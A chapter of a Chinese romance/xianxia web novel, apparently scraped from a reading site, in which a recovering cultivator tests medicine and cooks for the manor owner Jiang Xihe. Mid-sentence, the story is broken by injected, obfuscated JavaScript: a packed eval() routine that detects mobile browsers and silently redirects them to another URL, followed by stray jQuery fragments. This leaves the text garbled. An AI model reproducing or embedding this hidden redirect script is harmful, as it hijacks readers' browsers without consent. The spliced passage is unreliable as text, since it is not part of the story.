不过好在上官远喝汤时有意封住了自己的经脉,药效虽强,却也不如往前几日试药那般难以自控。
反倒是姜熙和,早饭之后就嚷嚷着热,脑袋晕乎乎状如醉酒,晃晃悠悠倒在小榻上,呼呼睡了一个上午。
上官远坐定调整了一下内息,待体内气脉恢复寻常后,站起来把碗拿去后山洗了,回来时还顺手给姜熙和披上一条薄丝被,不过一炷香的时间被她踢到地上去了。
上官远把丝被捡起来,拍拍上面的灰,随手折好挂在榻上,伸手去翻钉在墙上的试药日记。
按照姜熙和的计划,今日应该准备药浴的,但昨日那一出实在是有点吓到庄主仁慈的医者仁心,于是手动在册子上将药浴移到明日。
之前定好一日试三回的试药日程里也少了许多项目,譬如艾灸、穴位埋线、放血这一类危险性较高的,统统都用墨迹盖住,又在下面写了个食补,延伸出许多箭头,填到墨迹上。
轻轻合上册子,上官远扭头去看睡熟了的姜熙和。
柔和的橙黄日光穿过竹窗,照出空气中细小的灰尘,落在她细长的肩颈。姜熙和睡觉的时候不太老实,脖子常常拧着露出一片细腻光洁的皮肤,像是刻意摆出这样的姿态邀人前来品尝。
上官远收回落在她身上的视线,手指用力掐进掌心。
他轻轻呼出一口气,药效好像是上来了。
-
姜熙和睡了一个时辰,醒来的时候也差不多就是寻常她起床的时间。
迷迷糊糊睁开眼睛,喉间干涩非常,连吞咽口水都有些困难,很热但身上没有什么汗,那股子燥热的劲像是从胸口里冒出来,恨不得现在就灌下一口井里的凉水。
“水,水来,水来......”
姜熙和脑袋一歪,瞥见边上坐着看书的上官远,颤颤巍巍伸过去一只手,正要落下被另一只大手稳稳接住。
上官远左手托着姜熙和落下那只手的手背,右手端着一个茶杯,送到姜熙和嘴边。
上官远:“小心烫。”
嘴巴里念叨着水水水的,其实只是想表达自己口干舌燥,顺便唧唧歪歪,没想过真的会有人端着一杯水,还递到她嘴边。
姜庄主虽是金贵之躯,却也万事躬亲没有什么官架子,长这么大被人端茶倒水的伺候还是第一回,十分新鲜。
她抬眼看看上官远,又低头看看杯里的茶水,密长的睫毛来回扇动,像只小动物般没有防备的,就着上官远的手吹了吹茶水,小心抿了一小口,温的,又抬眼看上官远。
他伺候人倒也是娴熟,难不成以前干过这样的活计?说是修仙的,那就该是有师父同门的,瞧他逆来顺受的软柿子模样,发火也只是大声喊几句,一点力气都没有。
这样想来,莫不是常被同门欺负才学会这般讨好人的做派?
大石头村没有奴隶,都是收钱干事的关系,谁也用不着谄媚谁,就连财大气粗如姜熙和,荷叶山庄也没有一个下人。
姜熙和伸手接过茶杯,微蹙眉头,神色纠结似乎有话想说。
“庄主有话想说吗。”上官远还站在她面前,想等姜熙和把水喝完后,把杯子带走。
姜熙和盯了他一会儿,良久起身,把床榻一旁空出来,伸手在上面拍了拍,示意他坐下。
上官远绕过来,坐在姜熙和一臂之远的地方,姜熙和追上来,身子倚近几乎贴着他的左臂。
姜熙和严肃:“我救你的命没有想过让你做这些偿还恩情。”
上官远看着她透亮的眼睛,心里一紧。
“你不用对我这样,又是守着我睡觉又是端茶倒水的,整的我怪不自在的。”
“对庄主造成困扰了吗?”
“困扰谈不上,就是,唉我是个粗人肚子里没什么墨水,直说了,你要是因为我救你命又治你病觉着亏我欠我那完全没有必要,你在我这是做工试药的,又是荷叶山庄的活招牌,之一,你付出身体我付出药材,我们谁不欠谁的。”
“你在荷叶山庄不是谁的下人或是跟班,谁使唤你都不行我也不行。”姜熙和又很谨慎地添上一句,“试药治病的时候你得听我的。”
姜熙和絮絮叨叨说了一大段,看向上官远的时候不知怎么的有点心虚,好像忘记自己叫着嚷着让人家还钱斤斤计较的时候,只记得自己是个讲求自由平等的好人了。
上官远轻笑了一声,狭长的眼里映着眼前人的倒影,柔柔的,像把姜熙和泡在一泉温暖的水里,“嗯。”
姜熙和不满:“嗯是什么意思,你说你之前是不是在同门里做过这种伺候人的活,人家说渴了你就上赶着给人拿水。”
上官远没有否认。
姜熙和一副“我就知道”的表情,“仙门里面最容易出现同门霸凌的事情了,看你修炼不好就欺负你,该不会你那一剑也是同门看不惯你刺的吧。”
上官远:“没有,是不小心伤的。”
“不小心把你捅个对穿,你也真是没有心眼子。”姜熙和摇摇头,“不过现在你在大石头村了,是我荷叶山庄的人,有我罩着你,往后不会有人再敢欺负你了。”
上官远眉眼间笑意更甚,简直如一碗美酒看得姜熙和刚睡醒的脑袋晕乎乎的,说出一些不着边际的话来。
“别说大石头村,就算是出了村放眼全天下,寰宇万千,只要我姜熙和还在这,就没有别人能碰你一根手指头。”
“多谢庄主,望庄主往后多多关怀了。”
“小事小事。”
-
午时姜熙和还是执意要自己下厨,只是食材都交由上官远来处理,名曰是分工干活,谁也不能歇着。
炖的排骨汤很香,吸取早上喝了加了料的补汤后昏睡过去的经验,这回她没加成品灵液,只加了一点点的药材,做增香提鲜的用法。
两顿饭下来,对于下厨的好奇心已经被蹉跎了个七七八八,虽说只消把食材都倒入锅中搅拌,累倒是谈不上,只是这过程未免枯燥。
把东西都煮下后就得开始等,姜熙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496971|170235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和每过一刻钟去掀一次盖子,看排骨熟没熟,期间还抢过上官远烧火的位子,坐了一会儿太热了又跑去掀盖子。
折腾到最后惹出一身汗不说,还惹出一脸的灰。
“好了。”上官远很顺手地拿帕子擦去她颊上的痕迹,细致地将鬓边弄乱的发一丝不苟的归拢到耳后,“庄主能劳烦你去我房里拿一样东西吗?”
姜熙和刚想说你自己去,转念一想外面可比这闷热的厨房舒服多了,便大方问:“什么?”
“那块石头,我忘记带在身上了,就放在床头柜子上。”
“行,等着。”
姜熙和放下手中的盖子,火速闪出厨房,等带着石头回来的时候,汤已经好了,就等她盛出。
她有些奇怪,厨房与上官远房间的距离不过半盏茶,怎的去时肉还半熟,回来就好了,但上官远很快将盛汤的大勺子交到她手上,她也没有心思再想其他了。
晚饭时分,姜熙和已经完全不想再踏入厨房,这一天下来,下厨的乐趣没寻到分毫,倒是累得够呛,往后半月她怕是不会再踏足此处了。
说好要吃老鳖汤煮面条,只有下/面条的时候姜熙和上手了,其余时间都蔫巴地挂在椅子上,看上官远穿着紧身围裙,从容地处理甲鱼。
吃饭的时候更是懊悔,怎么就那么自信地告诉胡二婶往后荷叶山庄不下单子了,要自己开灶台做饭,现在回去找人家脸都要丢光了。
姜熙和挑起一根面条塞进嘴里,砸吧砸吧。
姜熙和:“?”
好好吃!
“好吃好吃,你挺会做饭的嘛。”姜熙和舀了一勺汤,鲜得她舌头都麻了一麻。
上官远:“游历在外做过几次饭,不知道合不合庄主口味。”
姜熙和一边塞面条一边点头,“合的合的。”
“庄主,自上次针灸后,我的身体就大有好转了,庄主为我费心至此,若庄主不嫌弃,以后山庄内的三餐就交由我来?”上官远放下筷子,向姜熙和征求意见。
姜熙和一听,巧了不是,她正好在想用什么样的借口找胡二婶重新下单山庄的三餐,这会子上官远说想揽下这大活,简直要将上官远拥入怀中,真是雪中送炭啊!
“可以啊,只是这食补大法你怕是不能完全掌握,这样,你看你身子也好一点了,食补就换成一日一次的大补汤吧。”姜熙和小鸡啄米般点头,“我可以给你算工钱,和胡二婶家一样,一日五十钱,怎么样?”
上官远盛了一碗汤放在姜熙和手边,淡淡开口,“我不要钱。”
姜熙和又想起人人平等的说辞来,“不行你不能白干啊。”
上官远又重复一次,“我不要钱,庄主换别的东西允我吧。”
姜熙和:“大补丸?风月闲?”
上官远定定望向姜熙和,晚间的风很凉爽,拂过通透的亭子,搅动着他一颗有点躁动的心。
“不若每月许我一个愿望如何,神通如庄主,想必没有什么是做不到的。”